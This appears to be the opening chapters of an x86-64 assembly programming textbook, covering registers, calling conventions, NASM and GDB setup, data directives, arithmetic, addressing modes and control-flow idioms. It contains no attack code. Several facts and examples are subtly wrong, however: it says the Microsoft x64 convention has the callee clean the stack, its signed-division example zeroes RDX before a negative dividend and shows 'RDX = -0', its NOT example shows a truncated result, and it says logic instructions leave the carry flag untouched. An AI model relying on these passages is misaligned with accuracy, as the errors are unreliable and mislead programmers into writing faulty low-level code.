64-Bit Assembly in Practice

Master Low-Level Programming and Performance Optimization on x86-64 Systems

Emrick H. Lowell

64-Bit Assembly in Practice

Master Low-Level Programming and Performance Optimization on x86-64 Systems

Emrick H. Lowell

First Edition, 2025

64-Bit Assembly in Practice

Table of Contents

Introduction to 64-Bit Assembly Programming

What is Assembly Language?

Assembly language is a low-level programming language that offers a direct interface to a system’s hardware. Unlike high-level languages like Python or Java, assembly is closely tied to the machine architecture, providing instructions that correspond one-to-one with machine code executed by the CPU.

Assembly acts as a symbolic representation of machine instructions. It uses mnemonic codes (such as `MOV`, `ADD`, `JMP`) to represent fundamental CPU operations. Each instruction typically translates directly into a binary operation that the processor executes.

Because it gives precise control over memory access, processor registers, and instruction timing, assembly is used in performance-critical applications, embedded systems, device drivers, operating system kernels, and reverse engineering.

Writing in assembly requires an understanding of the system architecture, especially the layout and function of registers, the stack, memory, and the instruction set specific to the target CPU.

32-bit vs. 64-bit Architecture

The terms "32-bit" and "64-bit" refer to the width of the CPU's general-purpose registers and the size of memory addresses it can handle.

Key Differences:

- **Registers**:

    - In 32-bit architecture (x86), general-purpose registers are 32 bits wide (e.g., EAX , EBX).
    - In 64-bit architecture (x86-64), these are expanded to 64 bits (e.g., RAX , RBX).
- **Addressable Memory**:
    - 32-bit systems can address up to 4 GB of RAM directly.
    - 64-bit systems can theoretically address up to 18.4 million TB of memory (limited by OS and hardware implementation).
- **Instruction Set**:
    - x86-64 (64-bit) adds new instructions and registers (e.g., R8 – R15 , SYSCALL) not available in x86.
- **Calling Conventions**:
    - 64-bit systems use different conventions for function calls, parameter passing, and return values, which impacts how assembly code interacts with compiled code or system APIs.
- **Stack Alignment**:
    - In 64-bit mode, stack alignment is typically 16 bytes, which is critical for function calls and system ABI compliance.

In summary, the transition to 64-bit increases computational power and memory accessibility, enabling modern operating systems and applications to perform more efficiently.

Why Learn 64-bit Assembly?

Learning 64-bit assembly is valuable for several reasons:

- **Performance Optimization**:
  Assembly allows for precise control over how instructions are executed, enabling deep optimization at the hardware level for critical routines.

- **Understanding How Computers Work**:
  It exposes the inner workings of CPUs, memory, and binary execution—essential knowledge for systems programmers, reverse engineers, and security researchers.

- **Reverse Engineering and Malware Analysis**:
  Disassembling binaries, analyzing shellcode, or understanding exploit behavior requires familiarity with x86-64 instructions and memory models.

- **Systems Programming and Kernel Development**:
  Writing bootloaders, device drivers, and OS kernels often requires assembly code, particularly for initializing hardware and transitioning to higher-level code.

- **Interfacing with Hardware**:
  Embedded development, microcontroller programming, and BIOS-level work benefit from the low-level access offered by assembly.

- **Learning Compiler Output**:
  Examining how high-level code is translated into machine code improves understanding of optimizations, inlining, and calling conventions.

Mastering 64-bit assembly opens up a deeper level of computer science and gives access to areas unreachable by high-level programming alone.

Overview of x86-64 Instruction Set

The x86-64 instruction set is an extension of the x86 architecture introduced by AMD with the AMD64 design. It is supported by all modern Intel and AMD processors.

Key Instruction Types:

- **Data Movement**:
  - MOV , LEA , PUSH , POP — For transferring data between registers and memory.
- **Arithmetic**:
  - ADD , SUB , MUL , IMUL , DIV , IDIV — Perform arithmetic operations.
- **Logical and Bitwise**:
  - AND , OR , XOR , NOT , SHL , SHR , SAR , ROL , ROR — For logical operations and bit manipulation.
- **Control Flow**:
  - JMP , JE , JNE , JG , JL , CALL , RET — Direct the sequence of execution.
- **Comparison and Flags**:
  - CMP , TEST , SET* — Used with conditional jumps based on FLAGS register.
- **String and Memory**:
  - MOVSB , MOVSW , CMPSB , STOSB — Operate on blocks of memory.
- **SIMD/Vector**:
  - MOVDQA , ADDPD , MULPS — Operate on multiple data with SSE/AVX extensions.

Additional Features:

- **64-bit Registers**:
  Registers such as RAX , RBX , RCX , RDX , RSI , RDI , RSP , RBP are available, along with eight more: R8 – R15 .

- **Instruction Encoding**:
  x86-64 uses variable-length instruction encoding, which allows complex instructions but can complicate decoding and disassembly.

- **Addressing Modes**:
  x86-64 supports complex addressing including base+index+displacement formats.

- **Syscall Interface**:
  SYSCALL is used instead of software interrupt INT 0x80 on Linux, enabling faster system calls.

The x86-64 instruction set is one of the most mature and powerful in use today, enabling robust system and application development at the hardware level.

Toolchains, Assemblers, and Emulators

To work with 64-bit assembly effectively, a set of reliable tools is necessary:

Assemblers:

- **NASM (Netwide Assembler)**:
  A popular assembler for x86/x86-64 assembly. Syntax is straightforward, widely used in tutorials and open-source projects.

- **FASM (Flat Assembler)**:
  A self-contained assembler with a compact footprint, useful for systems programming and writing operating systems.

- **GAS (GNU Assembler)**:
  Part of the GNU binutils package, often used with GCC. Uses AT&T syntax by default, which differs from NASM's Intel syntax.

- **MASM (Microsoft Assembler)**:
  Primarily used on Windows, integrated into Visual Studio and well-suited for writing Windows drivers and APIs.

Linkers:

- **LD (GNU Linker)**:
  Combines object files into a single executable. Essential for building large applications.

- **GCC/Clang**:
  Although compilers, they can be used to assemble and link programs written in assembly and C.

Emulators and Virtual Machines:

- **QEMU**:
  Emulates full hardware platforms. Useful for OS development and low-level debugging.

- **Bochs**:
  An x86 emulator that provides deep insight into processor internals and instruction execution.

- **DOSBox**:
  Primarily for 16-bit code, but useful for exploring legacy DOS assembly programs.

Debuggers and Disassemblers:

- **GDB (GNU Debugger)**:
  Offers source-level and instruction-level debugging, ideal for Linux

assembly.

- **x64dbg**:
  A Windows debugger for 64-bit binaries. Excellent for stepping through Windows API calls and reverse engineering.

- **IDA Pro / Ghidra / Radare2**:
  Advanced tools for analyzing binary code, reverse engineering, and understanding compiler output.

A working toolchain allows you to write, assemble, link, debug, and analyze assembly code in various environments. Mastery of these tools is essential for becoming proficient in 64-bit assembly programming.

Setting Up the Development Environment

Installing NASM and FASM on Windows and Linux

NASM (Netwide Assembler)

NASM is a widely-used assembler for x86 and x86-64 architectures. It uses Intel-style syntax and is compatible with many operating systems.

On Linux:

Most distributions have NASM in their repositories:

sudo apt update

sudo apt install nasm

Or for RPM-based systems:

sudo dnf install nasm

To verify the installation:

nasm -v

On Windows:

1. Download NASM from https://www.nasm.us.
2. Extract the archive.

3. Add the NASM folder path to your system’s PATH environment variable.

4. Open Command Prompt and run:

```
nasm -v
```

This should return the NASM version if installed correctly.

FASM (Flat Assembler)

FASM is a lightweight and fast assembler with its own IDE on Windows. It's favored in bootloader and low-level system development.

On Linux:

FASM can be compiled manually:

1. Download FASM from https://flatassembler.net.

2. Extract the contents and navigate into the directory.

3. Compile using:

```
cd fasm
./fasm examples/hello.asm hello
```

On Windows:

1. Download the Windows version.

2. Launch the bundled IDE or use the command-line tool.

3. Run:

fasm hello.asm hello.exe

FASM outputs executables directly without needing external linking tools in many cases.

Using GCC and Clang with Assembly

Modern toolchains like GCC and Clang allow integration of assembly with C code or even pure assembly development.

GCC:

To assemble and link an `.asm` file:

nasm -f elf64 hello.asm -o hello.o

gcc -no-pie hello.o -o hello

Key options:

- `-f elf64` : Targets the 64-bit Linux object format.
- `-no-pie` : Disables position-independent executable mode for simplicity (newer GCC versions enable PIE by default).

Clang:

Clang works similarly and supports inline assembly:

nasm -f elf64 hello.asm -o hello.o

clang -no-pie hello.o -o hello

You can also embed assembly directly within C using `__asm__` or `asm` keywords:

__asm__ (

```
    "mov $1, %rax\n\t"
    "mov $0, %rdi\n\t"
    "syscall"
);
```

This is useful for writing performance-critical sections of code.

Writing and Running Your First x86-64 Program

Here's a simple "Hello, World" program in NASM for Linux:

```
section .data
    msg db 'Hello, world!', 0xA
    len equ $ - msg

section .text
    global _start

_start:
    mov rax, 1          ; syscall: write
    mov rdi, 1          ; file descriptor: stdout
    mov rsi, msg        ; pointer to message
    mov rdx, len        ; message length
    syscall

    mov rax, 60         ; syscall: exit
    xor rdi, rdi        ; status 0
```

```
    syscall
```

Steps to assemble and run:

```
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello
```

Expected output:

```
Hello, world!
```

On Windows, the process involves calling Windows APIs like `WriteConsoleA` , and the setup is more complex. For beginners, using Linux or WSL is often easier for learning.

Linking and Creating Executables

Linking is the process of combining object files (`.o`) into a final executable. On Linux, common tools include `ld` and `gcc` .

Using `ld` :

```
ld -o program program.o
```

You may need to specify startup and library options for more complex programs:

```
ld program.o -o program -dynamic-linker /lib64/ld-linux-x86-64.so.2 -lc
```

Using `gcc` for Simpler Linking:

```
gcc -no-pie program.o -o program
```

On Windows with NASM:

nasm -f win64 hello.asm -o hello.obj

link hello.obj /SUBSYSTEM:CONSOLE

Note: Microsoft's `link.exe` is used with Visual Studio's Developer Command Prompt.

Creating Static and Dynamic Executables:

- **Static linking** includes all library code in the executable.
- **Dynamic linking** uses shared libraries (like `.dll` or `.so`) and results in smaller executables.

Choose based on whether portability or size is more critical for your application.

Debugging Tools: GDB, x64dbg, and LLDB

Debugging is essential for learning and working effectively with assembly. Here are the primary tools:

GDB (GNU Debugger):

Ideal for Linux development. Common commands:

- `gdb ./program`
- `break _start`
- `run`
- `x/10x $rsp` (inspect memory)
- `info registers`

- si (step instruction)

Use with NASM/GCC programs for instruction-level insight.

To disassemble a function:

disassemble _start

x64dbg:

Best suited for debugging 64-bit Windows programs.

Features:

- User-friendly GUI.
- Graph view of function control flow.
- Breakpoint and memory inspection tools.
- API monitoring.

Download from https://x64dbg.com.

Usage:

- Load your executable into x64dbg.
- Step through instructions.
- Inspect memory, registers, stack, and call flow.

LLDB:

Part of the LLVM toolchain, works well on macOS and Linux.

Basic usage:

lldb ./program

```
(lldb) breakpoint set --name _start
(lldb) run
(lldb) register read
```

LLDB is scriptable, integrates well with Clang, and is fast and modern.

64-Bit CPU Architecture Overview

General Purpose Registers (RAX, RBX, etc.)

The x86-64 architecture expands the 32-bit x86 register set by introducing 64-bit versions and additional registers. These registers are the main working space of the CPU and are used for arithmetic, data manipulation, memory addressing, and system operations.

Key 64-bit General Purpose Registers:

- **RAX**: Accumulator – used for arithmetic, return values from functions.
- **RBX**: Base – often used as a general-purpose register.
- **RCX**: Counter – used in loops and string operations.
- **RDX**: Data – involved in division and I/O operations.
- **RSI**: Source Index – often used for memory operations and arguments.
- **RDI**: Destination Index – often used for memory operations and arguments.
- **RSP**: Stack Pointer – always points to the top of the stack.
- **RBP**: Base Pointer – used for stack frame reference.
- **RIP**: Instruction Pointer – holds the address of the next instruction.

Extended Registers:

- **R8–R15**: Additional general-purpose registers introduced in 64-bit mode.

Each register can be accessed in multiple sizes:

- 64-bit: RAX
- 32-bit: EAX
- 16-bit: AX
- 8-bit: AL (lower), AH (higher, not for R8–R15)

These registers significantly enhance computing power and flexibility compared to the 32-bit architecture, allowing more data to be handled without resorting to memory.

Segment Registers and SIMD Extensions

Segment Registers:

x86-64 includes six segment registers, although segmentation is mostly disabled in 64-bit mode (except for FS and GS):

- **CS**: Code Segment – mostly unused in 64-bit mode.
- **DS/ES/SS**: Data/Extra/Stack Segment – ignored in 64-bit flat memory model.
- **FS/GS**: Can be used for special purposes like thread-local storage.

Segment registers are vestiges of the original segmented memory model, which is largely irrelevant in flat memory 64-bit systems.

SIMD Extensions:

SIMD (Single Instruction, Multiple Data) instructions enable parallel processing using vector registers. Modern 64-bit CPUs support various SIMD extensions:

- **MMX**: 64-bit registers (MM0 – MM7) for integer math.
- **SSE/SSE2/SSE3/SSE4**: 128-bit XMM registers (XMM0 – XMM15) for integer and floating-point SIMD.
- **AVX/AVX2**: 256-bit YMM registers, built on XMM registers.
- **AVX-512**: 512-bit ZMM registers for massive parallelism.

SIMD instructions enable fast image processing, video encoding, numerical computations, and machine learning workloads.

Calling Conventions (System V ABI vs. Microsoft x64)

Calling conventions determine how functions pass arguments, return values, and clean up the stack. In x86-64, two dominant conventions exist:

System V AMD64 ABI (Linux, macOS, Unix-like systems):

- **Arguments Passed in Registers**:
  - RDI , RSI , RDX , RCX , R8 , R9 (in order)
- **Floating-point Arguments**: Passed via XMM0–XMM7
- **Return Values**: In RAX or XMM0
- **Caller cleans the stack**
- Stack alignment is **16 bytes**

Microsoft x64 ABI (Windows):

- **Arguments Passed in Registers**:
    - RCX , RDX , R8 , R9 (in order)
- **Floating-point Arguments**: Passed via XMM0–XMM3
- **Return Values**: In RAX or XMM0
- **Callee cleans the stack**
- Shadow space (32 bytes) must be reserved by the caller before a function call.

Summary of Differences:

Feature	System V ABI	Microsoft x64 ABI
Arg Registers	RDI, RSI, RDX, ...	RCX, RDX, R8, R9
Stack Cleanup	Caller	Callee
Shadow Space	Not required	Required (32 bytes)
Variadic Arguments	Stack	Stack

Understanding the calling convention is crucial for interfacing with compiled C libraries or writing mixed-language applications.

Stack Frame and Memory Layout

The stack is a critical component of function calls, local variable storage, and control flow. In 64-bit systems, the stack grows **downward** (from high to low memory).

Stack Frame Structure:

Typical function stack frame:

```
High Address
+----------------------+
| Function Arguments   |
+----------------------+
| Return Address       |
+----------------------+
| Saved RBP            |
+----------------------+
| Local Variables      |
+----------------------+
| Caller's Saved Regs  |
+----------------------+
Low Address
```

- **RSP** (Stack Pointer): Points to the top of the stack.
- **RBP** (Base Pointer): Marks the base of the current stack frame (optional in optimized code).
- **Return Address**: Saved by the `CALL` instruction to return from the function.
- **Local Variables**: Temporarily stored in stack space.

Stack Alignment:

x86-64 Linux requires 16-byte alignment before `CALL` instructions. Misalignment can cause crashes in SSE/AVX code.

Example alignment logic before a call:

```
sub rsp, 8        ; Align stack (since CALL pushes 8 bytes)
call some_function
add rsp, 8
```

Understanding the layout and behavior of the stack is fundamental to avoiding segmentation faults, buffer overflows, and undefined behavior in low-level code.

Endianness and Data Alignment

Endianness:

- x86-64 is **Little Endian**, meaning the **least significant byte** is stored at the **lowest memory address**.

For example, the value `0x12345678` stored in memory looks like:

```
Address -> Value
0x1000  -> 0x78
0x1001  -> 0x56
0x1002  -> 0x34
0x1003  -> 0x12
```

This affects how data is loaded/stored and is critical in serialization, networking, and cryptographic applications.

Data Alignment:

Memory alignment ensures that data is stored at addresses that are multiples of their size:

- 1-byte types (e.g., char) can be placed anywhere.
- 2-byte types should be at even addresses.
- 4-byte types (e.g., int) should be aligned to 4-byte boundaries.
- 8-byte types (e.g., double , long) should be aligned to 8-byte or 16-byte boundaries.

Benefits of proper alignment:

- Improved CPU performance due to efficient memory access.
- Avoidance of hardware faults on strict-alignment architectures.

Misaligned data can still be read on x86-64, but performance will suffer, especially with SIMD instructions.

Example:

```
section .data
    var1 db 1             ; aligned
    var2 dq 0x1122334455667788 ; should be aligned to 8 bytes
```

Using align directive:

```
align 8
var2 dq 0x1122334455667788
```

Alignment is especially important when working with structs or using vector instructions like SSE or AVX.

Basic Syntax and Directives

Assembly Instructions and Mnemonics

Assembly language consists of human-readable representations of machine instructions, called **mnemonics**. Each mnemonic corresponds to a specific machine operation executed by the CPU.

Common Instruction Categories:

- **Data Transfer**:
  - `MOV` : Transfer data from one location to another.
  - `PUSH` , `POP` : Stack operations.
  - `LEA` : Load effective address.
- **Arithmetic**:
  - `ADD` , `SUB` : Integer addition and subtraction.
  - `INC` , `DEC` : Increment and decrement.
  - `MUL` , `IMUL` , `DIV` , `IDIV` : Unsigned and signed multiplication/division.
- **Logic and Bitwise**:
  - `AND` , `OR` , `XOR` , `NOT` : Bitwise logic operations.
  - `SHL` , `SHR` : Shift operations.

- **Control Flow**:
    - JMP : Unconditional jump.
    - JE , JNE , JG , JL : Conditional jumps.
    - CALL , RET : Function call and return.
- **Comparison**:
    - CMP : Compare two operands and set flags.
    - TEST : Bitwise AND for checking values without storing result.

Each instruction typically takes the form:

mnemonic destination, source

For example:

mov rax, rbx ; Copy the value from RBX into RAX

add rax, 5 ; Add 5 to RAX

Instruction Operands:

Operands can be:

- **Registers**: rax , rdi , rsi , etc.
- **Immediate values**: 10 , 0xFF , etc.
- **Memory addresses**: [rax] , [rbx+8]

The flexibility of operands allows for powerful, low-level data manipulation.

Defining Constants, Variables, and Data Sections

Assembly language programs organize data using **sections** and **directives**.

Common Sections:

- `.data` : Initialized data (e.g., constants, strings)
- `.bss` : Uninitialized data (e.g., reserved space)
- `.text` : Code section (contains instructions)

Defining Constants:

NASM allows defining constants using:

```
%define BUFFER_SIZE 1024
```

Or using the `equ` directive:

```
MAX_VALUE equ 100
```

These are replaced at assembly time and do not occupy memory.

Defining Variables:

In the `.data` section:

```
section .data
    message db 'Hello, world!', 0xA
    count dw 5
    flag  dd 1
    value dq 123456789
```

In the .bss section:

```
section .bss
    buffer resb 64      ; Reserve 64 bytes
    counter resd 1      ; Reserve 4 bytes
```

These labels represent memory locations and are used with memory access instructions.

Common Data Directives:

- db : Define byte
- dw : Define word (2 bytes)
- dd : Define doubleword (4 bytes)
- dq : Define quadword (8 bytes)
- resb , resw , resd , resq : Reserve uninitialized space

Labels, Directives, and Comments

Labels:

Labels mark positions in code or data for reference:

```
start:
    mov rax, 1
    jmp done

done:
    mov rax, 60
```

```
    xor rdi, rdi
    syscall
```

Labels can also be used in data sections:

```
message db 'This is a string', 0
```

You reference `message` later to print or manipulate the string.

Directives:

Directives give instructions to the assembler, not the CPU. They control how the program is assembled.

Common NASM directives:

- `section` : Defines a section of code or data.
- `global` : Declares global symbols for linking.
- `extern` : Declares external functions or symbols.
- `align` : Aligns data or code to specific memory boundaries.
- `org` : Sets the starting offset (used in bootloaders).

Example:

```
section .text
global _start

_start:
    ; entry point
```

Comments:

Use ; for single-line comments:

```
mov rax, 1       ; Write syscall
```

Good commenting is essential for readability and maintainability.

Data Types in x86-64 (byte, word, dword, qword)

x86-64 assembly supports a variety of integer sizes. Each size is associated with a mnemonic and corresponding instruction suffix or register size.

Data Type	Size	Directive	Example Syntax
Byte	8 bits	db	value db 0xFF
Word	16 bits	dw	value dw 0x1234
Dword	32 bits	dd	value dd 100000
Qword	64 bits	dq	value dq 0xDEADBEEF12345678

Register Usage by Data Size:

Size	Register Suffix	Example
8-bit	al , bl , etc.	mov al, 0x10
16-bit	ax , bx	mov ax, 0x1234
32-bit	eax , ebx	mov eax, 1

64-bit	rax , rbx	mov rax, 10

Zero Extension and Sign Extension:

When moving smaller data types into larger registers, the CPU must handle unused bits. Use:

- movzx : Move with zero extension
- movsx : Move with sign extension

```
movzx rax, byte [val]   ; Zero extend 8-bit to 64-bit
movsx rax, byte [val]   ; Sign extend 8-bit to 64-bit
```

Correct understanding of data types ensures that values are handled properly, especially when interfacing with C/C++ functions, performing I/O operations, or accessing structured binary data.

Arithmetic and Logical Operations

Addition, Subtraction, Multiplication, Division

Arithmetic operations in x86-64 assembly are carried out using dedicated instructions that operate on registers, immediate values, or memory operands. These operations affect various flags in the FLAGS register, which are essential for conditional branching and flow control.

Addition (ADD , INC):

- ADD destination, source : Adds the source to the destination.
- INC operand : Increments the operand by one.

Example:

```
mov rax, 5
add rax, 10      ; RAX = 15
inc rax          ; RAX = 16
```

Subtraction (SUB , DEC):

- SUB destination, source : Subtracts the source from the destination.
- DEC operand : Decrements the operand by one.

Example:

```
mov rbx, 20
sub rbx, 5       ; RBX = 15
```

```
dec rbx        ; RBX = 14
```

Multiplication:

There are two sets of multiplication instructions:

Unsigned Multiplication (MUL):

- MUL operand : Multiplies RAX by operand and stores result in RDX:RAX.

```
mov rax, 5
mov rbx, 10
mul rbx        ; RAX = 50, RDX = 0 (high part)
```

Signed Multiplication (IMUL):

- One-, two-, or three-operand forms.
- IMUL destination, source
- IMUL destination, source, immediate

```
mov rax, -5
mov rbx, 10
imul rbx       ; RAX = -50
```

Division:

Division is more complex due to the quotient/remainder result.

Unsigned Division (DIV):

- DIV operand : Divides RDX:RAX by operand.
    - Quotient in RAX, remainder in RDX.

Example:

```
mov rax, 100
xor rdx, rdx
mov rcx, 25
div rcx          ; RAX = 4, RDX = 0
```

Signed Division (IDIV):

- IDIV operand : Performs signed division.

Example:

```
mov rax, -100
xor rdx, rdx
mov rcx, 25
idiv rcx         ; RAX = -4, RDX = -0
```

Improper preparation of RDX (not clearing or sign-extending) before division leads to exceptions.

Bitwise Operations (AND, OR, XOR, NOT)

Bitwise operations are fundamental in systems programming, used for setting, clearing, toggling, and testing individual bits.

AND:

- AND destination, source : Performs logical AND.

```
mov rax, 0b1100
and rax, 0b1010   ; RAX = 0b1000
```

OR:

- OR destination, source : Performs logical OR.

```
mov rax, 0b1100
or rax, 0b1010    ; RAX = 0b1110
```

XOR:

- XOR destination, source : Performs exclusive OR.

```
mov rax, 0b1100
xor rax, 0b1010   ; RAX = 0b0110
```

XOR is often used to zero a register efficiently:

```
xor rax, rax      ; RAX = 0
```

NOT:

- NOT operand : Inverts all bits.

```
mov rax, 0b11110000
not rax           ; RAX = 0b00001111 (inverted)
```

Bitwise operations do not affect the carry flag but do update the zero and sign flags.

Shift and Rotate Instructions

Shifting is used to multiply/divide by powers of two or to isolate/manipulate bit patterns.

Logical Shifts:

- SHL destination, count : Shift left (fills with zero) — multiplies by 2^n.
- SHR destination, count : Shift right (fills with zero) — unsigned division by 2^n.

```
mov rax, 8
shl rax, 1      ; RAX = 16
shr rax, 2      ; RAX = 4
```

Arithmetic Shift:

- SAR destination, count : Shift right while preserving the sign bit — signed division.

```
mov rax, -16
sar rax, 1      ; RAX = -8
```

Rotate Instructions:

- ROL destination, count : Rotate bits left.
- ROR destination, count : Rotate bits right.

These shift bits around circularly without losing any bits. Useful for encryption algorithms or checksums.

```
mov rax, 0x12345678
rol rax, 8        ; Rotates bits left by 8 positions
```

Signed vs. Unsigned Operations

Assembly does not use explicit types like high-level languages. Instead, the interpretation of numbers (signed or unsigned) depends on how you use them.

- **Unsigned Operations**: `ADD`, `SUB`, `MUL`, `DIV`, `CMP`, etc.
- **Signed Variants**: `IMUL`, `IDIV`, `MOVSX`, `MOVSXD`

Comparison:

```
cmp rax, rbx      ; Sets flags
ja label          ; Jump if above (unsigned)
jg label          ; Jump if greater (signed)
```

Sign Extension:

- `MOVZX`: Move with zero extension (unsigned).
- `MOVSX`: Move with sign extension (signed).

```
movsx rax, byte [val]  ; Extend signed 8-bit value to 64-bit
movzx rax, byte [val]  ; Extend unsigned 8-bit value to 64-bit
```

Overflow Behavior:

Signed arithmetic may cause overflow, changing the interpretation of the result. Use overflow flags (OF) for detection.

jo overflow_handler

Working with FLAGS Register

The **FLAGS register** (also known as EFLAGS or RFLAGS in 64-bit mode) holds condition codes updated after most operations. These flags are critical for decision-making in assembly.

Common Flags:

- **ZF (Zero Flag)**: Set if the result is zero.
- **SF (Sign Flag)**: Set if the result is negative (MSB = 1).
- **CF (Carry Flag)**: Set if an arithmetic operation generates a carry or borrow.
- **OF (Overflow Flag)**: Set when signed overflow occurs.
- **PF (Parity Flag)**: Set if the number of set bits in the result is even.
- **AF (Auxiliary Carry)**: Used in BCD operations.

Instructions That Use FLAGS:

- CMP , TEST : Set flags based on the comparison.
- Conditional jumps like JE , JNE , JG , JL , etc., rely on FLAGS.
- Arithmetic and logic operations modify most flags automatically.

Example:

mov rax, 5

```
cmp rax, 10       ; ZF = 0, SF = 1, CF = 1
jl less_than      ; Jump if less (signed)
```

Saving and Restoring FLAGS:

- PUSHF / POPF : Push and pop FLAGS register to/from the stack.
- LAHF / SAHF : Load/Store FLAGS into AH register (limited set).

Working with FLAGS Register

Memory Access and Addressing

In x86-64 assembly, memory access is achieved through the use of **memory operands** and **addressing modes**. Unlike high-level languages where variables abstract memory locations, assembly requires the programmer to explicitly reference memory addresses.

Direct vs. Indirect Access:

- **Direct**: Refers to a label or fixed memory address.

  ```
  mov rax, [my_var]
  ```

- **Indirect**: Accesses memory via a register containing an address.

  ```
  mov rbx, [rax]        ; Value at address stored in RAX
  ```

- **Offset Access:**

You can add offsets to pointers using:

```
mov al, [rbx + 4]
mov rdx, [rax + rcx*8]
```

These forms allow traversal of arrays, structs, and stack frames efficiently.

Understanding Addressing Modes

x86-64 supports powerful addressing modes that define how memory operands are constructed. These are used with square brackets ([]), indicating memory dereferencing.

Basic Addressing Modes:

- **Register Indirect**:

  ```
  mov rax, [rbx]        ; Load value at address in RBX
  ```

- **Base + Displacement**:

  ```
  mov rax, [rbx + 16]   ; Access value 16 bytes after RBX
  ```

- **Base + Index**:

  ```
  mov rax, [rbx + rcx]  ; Access address RBX + RCX
  ```

- **Scaled Index**:

  ```
  mov rax, [rbx + rcx*4]
  ```

- **Base + Scaled Index + Displacement**:

  ```
  mov rax, [rbx + rcx*4 + 8]
  ```

These addressing modes allow efficient access to array elements, fields in structures, or dynamically computed memory addresses.

Working with Pointers and Offsets

Pointers in assembly are just registers containing memory addresses. You can manipulate them directly, enabling powerful forms of indirection and control over memory.

Dereferencing a Pointer:

```
mov rsi, my_array       ; Load address of array into RSI
mov al, [rsi]           ; Load first byte of array
```

Advancing a Pointer:

```
add rsi, 1              ; Move to the next byte
```

Pointer Arithmetic:

```
lea rdi, [rsi + 8]      ; RDI = RSI + 8, without memory dereferencing
```

Use `LEA` (Load Effective Address) to compute addresses without loading the value at that address.

Stack Operations: PUSH, POP, CALL, RET

The **stack** is a last-in-first-out (LIFO) memory structure used for function calls, parameter passing, and temporary storage. It is managed using the `RSP` (stack pointer) register.

PUSH and POP:

- `PUSH` : Decrease `RSP` and store the operand at the new stack top.
- `POP` : Read the value at the top of the stack and increase `RSP` .

Example:

```
push rax
pop rbx                 ; RBX now holds original RAX value
```

CALL and RET:

- CALL : Pushes return address onto the stack and jumps to a function.
- RET : Pops return address from the stack and jumps back.

Example:

```
call my_function      ; Jump to function
...
my_function:
    ; Do work
    ret               ; Return to caller
```

Manual Stack Frame Setup:

```
push rbp            ; Save caller's base pointer
mov rbp, rsp        ; Establish new stack frame
sub rsp, 32         ; Allocate local variables
...
leave               ; Equivalent to mov rsp, rbp + pop rbp
ret
```

Proper stack usage is essential for safe function calls and recursion.

String Operations and Memory Copying

Assembly provides dedicated instructions for operating on strings and memory blocks. These are efficient for loops and bulk operations.

Key Instructions:

- MOVSB / MOVSW / MOVSD / MOVSQ : Copy strings (byte, word, dword, qword).
- LODSB , LODSQ : Load from memory into AL/RAX.
- STOSB , STOSQ : Store AL/RAX into memory.
- SCASB , SCASQ : Compare memory with AL/RAX.
- CMPSB , CMPSQ : Compare two memory regions.

Direction Flag:

- Instructions use the **direction flag (DF)** to determine direction:
    - Clear DF with CLD to process forward.
    - Set DF with STD to process backward.

Example: Copy memory block forward using REP MOVSB

```
cld                  ; Clear direction flag
mov rsi, source      ; Source pointer
mov rdi, destination ; Destination pointer
mov rcx, length      ; Number of bytes to copy
rep movsb            ; Repeat move while RCX > 0
```

Zeroing Memory:

```
mov rdi, buffer
mov rcx, 64
xor eax, eax
```

```
rep stosb              ; Fill buffer with 0
```

String instructions are highly optimized and reduce loop overhead for memory operations.

Example: Memory Scanner in Pure Assembly

Below is a simple memory scanner written in NASM that scans an array for a specific byte value.

```
section .data
    buffer db 10, 20, 30, 40, 50, 60, 70, 80
    buffer_len equ 8
    target db 40

section .bss
    found_index resq 1

section .text
    global _start

_start:
    mov rsi, buffer        ; Pointer to array
    mov rcx, buffer_len    ; Number of elements
    mov al, [target]       ; Target value to find
    xor rbx, rbx           ; Index = 0

search_loop:
```

```
    cmp byte [rsi + rbx], al
    je found
    inc rbx
    loop search_loop

not_found:
    mov qword [found_index], -1
    jmp done

found:
    mov qword [found_index], rbx

done:
    ; Exit syscall (Linux)
    mov rax, 60
    xor rdi, rdi
    syscall
```

How it works:

- Iterates through the buffer.
- Compares each byte with the target.
- If a match is found, saves the index to `found_index`.
- If no match is found, stores `-1`.

This example demonstrates memory access, pointer arithmetic, loop control, and comparison—all fundamentals of memory-oriented programming in assembly.

Control Flow and Branching

Conditional and Unconditional Jumps

Control flow in assembly programming is managed through **jump instructions** that transfer execution to another point in the program. These jumps can be **unconditional** (always executed) or **conditional** (based on results of previous operations, especially comparisons).

Unconditional Jump (JMP):

- Syntax: `jmp label`
- Immediately transfers control to the specified label.

Example:

```
jmp skip


do_something:
    ; this is skipped
    nop


skip:
    ; execution resumes here
```

Conditional Jumps:

Conditional jumps evaluate processor flags set by previous instructions like CMP , TEST , ADD , or SUB .

Common conditional jumps:

Instruction	Condition	Usage (Signed/Unsigned)
je / jz	Equal / Zero	Both
jne / jnz	Not equal / Not zero	Both
jg	Greater (signed)	Signed
jl	Less (signed)	Signed
ja	Above (unsigned)	Unsigned
jb	Below (unsigned)	Unsigned
jge	Greater or equal (signed)	Signed
jle	Less or equal (signed)	Signed

Example:

cmp rax, rbx

je equal_label

jne not_equal_label

These allow the implementation of all conditional logic constructs.

Comparison Instructions

The CMP and TEST instructions are primarily used to set the processor flags based on the relationship between two operands.

CMP (Compare):

Performs sub destination, source , and sets flags based on the result without storing it.

```
cmp rax, rbx
jl less_than
```

TEST:

Performs a bitwise AND and sets flags, often used to check if a value is zero or test specific bits.

```
test rax, rax
jz is_zero
```

Flag-Based Control:

CMP and TEST set the following flags commonly used in branching:

- **ZF (Zero Flag)**: Set if result is zero.
- **SF (Sign Flag)**: Set if result is negative.
- **CF (Carry Flag)**: Set if unsigned borrow occurs.
- **OF (Overflow Flag)**: Set if signed overflow occurs.

Implementing IF-ELSE, SWITCH, and Loops

IF-ELSE:

```
cmp rax, 10
jl less_than
mov rbx, 100     ; else
jmp end_if
```

```
less_than:
mov rbx, 0       ; if block

end_if:
; continue execution
```

SWITCH Statement (via jumps or jump tables):

```
cmp rax, 1
je case1
cmp rax, 2
je case2
jmp default_case

case1:
; do something
jmp end_switch

case2:
; do something else
jmp end_switch

default_case:
; default logic
```

```
end_switch:
```

More advanced switch cases may use **jump tables** for faster branching.

LOOP Structures:

WHILE Loop:

```
mov rcx, 10

while_loop:
cmp rcx, 0
je end_while
; loop body
dec rcx
jmp while_loop

end_while:
```

FOR Loop:

```
mov rcx, 0

for_loop:
cmp rcx, 10
jge end_for
; loop body
inc rcx
jmp for_loop
```

```
end_for:
```

DO-WHILE Loop:

```
mov rcx, 0

do_while:
; loop body
inc rcx
cmp rcx, 10
jl do_while
```

